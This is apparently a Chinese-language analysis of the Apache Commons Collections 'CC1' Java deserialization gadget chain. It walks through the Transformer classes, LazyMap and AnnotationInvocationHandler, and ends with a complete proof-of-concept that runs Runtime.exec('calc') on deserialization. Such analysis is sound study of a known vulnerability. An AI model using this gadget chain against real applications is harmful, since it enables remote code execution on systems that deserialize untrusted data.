@[TOC](CC1链分析)
利用类分析
Transformer
Transformer 是一个接口,提供了一个transform()方法。官方的注释是 将对象(保持不变)转换为某个输出对象
TransformedMap
TransformedMap 类,用来处理一个Map类,对该类进行添加和修改。 当TransformedMap 处理key 和value时,会调用 transform() 方法来对 key 和 value 进行处理
可以看当调用 put() 方法添加key 和 value 时会先调用transformKey() transformValue()方法来对 key value 来进行处理
之后看一下这两个方法,发现里面都有调用到 transform() 方法
这里的keyTransformer 和 valueTransformer 相当于修改器,用来修改 key 和 value ,具体修改的的方法要根据keyTransformer 和 valueTransformer 的 transform()方法来决定。
ConstantTransformer
这个类实现了Transofmer,作用是在实例化的时候接收一个参数,在调用 transform() 方法时返回这个参数
InvokerTransformer
这个类同样实现了Transofmer。 在调用 transform() 方法时通过反射调用参数的类的某个方法,可达到一个代码执行的效果 他在实例化时传入的三个参数分别是 要执行的方法、方法参数的类型、方法的参数
ChainedTransformer
这个类也实现了Transofmer,ChainedTransformer的 transform() 方法就比较特殊了。首先,ChainedTransformer在实例化的时候会获取一个数组,之后调用 transform() 方法的时候数组中所有的类都会调用它们的 transform() 方法 并且transform() 方法返回的值会作为下一个 transform() 方法的参数使用,以此重复
这里借用一下P神的图
Poc构造
Transformer数组构造
看一下已经构造好的数组 这个数组中有两个实例化的类,分别是ConstantTransformer 和 InvokerTransformer。
public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}), }; }
将这个数组作为参数传递给ChainedTransformer 类 上文在对ChainedTransformer 介绍时说了,ChainedTransformer 会在调用transform() 方法时把数组中所有类的transform() 方法都调用一点 ,并且把返回的结果作为下一个transform() 方法的参数使用 这里我们在把数组传递给ChainedTransformer 之后调用了transform() 方法
public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}), }; Transformer transformerChain = new ChainedTransformer(transformers); transformerChain.transform("asdf"); }
在调用transform() 方法那行打断点,调试一下,看看程序是怎么运行的 在进入到ChainedTransformer#transform() 方法之后会遍历数组,首先遍历到的是 ConstantTransformer。
调用ConstantTransformer#transform() 上文介绍ConstantTransformer 时说过,ConstantTransformer#transform()会返回实例化时接收的参数,在实例化的时候我们接收的参数时 Runtime.getRuntime() 所以这里返回的值就是Runtime 类
在调用完ConstantTransformer#transform() 之后开始下一次的循环 这次循环调用的是InvokerTransformer#transform()
InvokerTransformer#transform() 参数用的是ConstantTransformer#transform() 返回的结果 Runtime 这里先是判断input 是否为空,然后使用getMethod() 获取Runtime中的exec() 方法 之后通过invoke() 调用exec方法,参数是"calc"
执行完毕
LazyMap
LazyMap的作用大概就是,当 map 对象要获取 key 时,会判断 map 对象中有没有这个key,如果没有的话,就会创建这个key ,并给这个key 添加值,之后再把这个key 添加到 map对象中 看具体代码
public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
调用get() 时,会先判断map 中有没有这个key 如果没有则创建这个key 并调用 factory.transform() 给key 添加一个值,之后调用put() 将这个key 添加至map对象中。
Java动态代理
上面我们讲述了一下触发点,接下来我们来看一下如何才能调用到这个点来代码执行 在ysoserial中是通过sun.reflect.annotation.AnnotationInvocationHandler 这个类中的readObject来调用的 这个类实现了 InvocationHandler 接口,也就是说,当这个类在作为动态代理使用时,被代理对象执行方法时会先去调用 动态代理中的 invoke方法 这里我们看一下 sun.reflect.annotation.AnnotationInvocationHandler#invoke()的代码
public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { switch (var4) { case "toString": return this.toStringImpl(); case "hashCode": return this.hashCodeImpl(); case "annotationType": return this.type; default: Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); } return var6; } } } }
这里我们得出一条利用链 通过某个类重写后的readObject() 方法调用 map的任意方法,之后就会调用到动态代理的 invoke() 方法,在invoke()方法中调用到了get() 方法加载key,要是key不在map 对象中,则会调用到transform()方法。
new xxx.readObject() new LazyMap().xxx() new AnnotationInvocationHandler().invoke() new LazyMap().get() new ChainedTransformer.transform() new ConstantTransformer().transform() new InvokerTransformer().transform()
接着我们再看一下 sun.reflect.annotation.AnnotationInvocationHandler#readObject() 调用到了 Map接口中的 entrySet()方法,那么这里就可以作为我们的入口点去触发代码执行。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Map.Entry var5 = (Map.Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } }
完整攻击链
public static void main(String[] args) throws Exception{ //构造恶意数组 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}), new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}), }; //获取恶意数组 Transformer transformerChain = new ChainedTransformer(transformers); //将恶意方法作为修饰元素的方法 Map lazyMap = LazyMap.decorate(new HashMap(),transformerChain); //反射获取并实例化动态代理 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler LazyMap_handler = (InvocationHandler) constructor.newInstance(Retention.class,lazyMap); //代理 lazyMap的接口,使用 LazyMap_handler代理 //proxyMap在调用到 Map接口中的任意方法之后将会执行 LazyMap_handler的 invoke()方法 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),lazyMap.getClass().getInterfaces(),LazyMap_handler); //将 proxyMap带入到 sun.reflect.annotation.AnnotationInvocationHandler类中,去调用 entrySet()方法 Object handler = constructor.newInstance(Retention.class,proxyMap); //反序列化 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("LazyMap_CC1")); oos.writeObject(handler); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("LazyMap_CC1")); ois.readObject(); }